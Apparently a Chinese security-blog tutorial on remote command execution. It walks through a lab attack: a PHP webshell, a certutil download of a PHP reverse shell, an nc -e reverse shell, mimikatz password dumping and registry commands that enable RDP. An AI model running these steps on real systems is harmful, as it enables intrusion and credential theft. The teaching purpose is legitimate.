点击上方蓝字关注我们
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。
在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
靶机:win10:ip:192.168.203.135
攻击机:win10:ip:192.168.123.150
get shell机:kali2020:ip:192.168.203.130
1.靶机创建文件:1.php
<?php
header("Content-Type: text/html; charset=utf-8");
error_reporting(0); //禁用错误报告
$a = $_GET["a"];
system($a);
?>
2.攻击机创建文件:2.php
<?php
set_time_limit(0);
$ip="192.168.203.130"; #kali ip
$port=3939;
[email protected]($ip,$port,$errno,$errstr);
if(!$fp){
echo "error";
}
else{
fputs($fp,"\n++++++++++connect success++++++++\n");
while (!feof($fp)) {
fputs($fp,"shell:");//输出
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message); }
fclose($fp);
}
?>
3.访问1.php
输入
http://192.168.203.135/1.php?a=ipconfig
发现可以执行cmd命令
攻击机也可访问:
利用cmd命令远程下载文件 (1.txt不需要创建)
将2.php文件上传
certutil -urlcache -split -f http://192.168.123.150/1.txt 2.php
攻击机中访问:
http://192.168.232.141/1.php?a=certutil -urlcache -split -f http://192.168.101.8/1.txt 2.php
使用kali的nc监听3939端口
nc -lvvp 3939
浏览器访问2.php文件
监听成功,成功get shell
如果靶机是win7,我们可以上传mimikatz.exe文件来获取win7系统的所有账号密码
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
获取账号密码后,就可以开启远程连接服务了
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
如果开启不成功,须执行以下命令
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
net start termservice
然后再开启一次
wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
最后主机使用快捷键win+s,搜索mstsc 就可以打开windos远程桌面连接了
向靶机上传nc.exe文件
nc 192.168.203.130 3939 -e C:\windows\system32\cmd.exe
kali监听
nc -lvvp 3939
成功get shell
如果想要系统学习网络安全技术
不妨加入知识星球课程
《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球
优惠券
跟着60天入门学习路线一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
更多内容请关注公众号
网络安全自修室
点个在看你最好看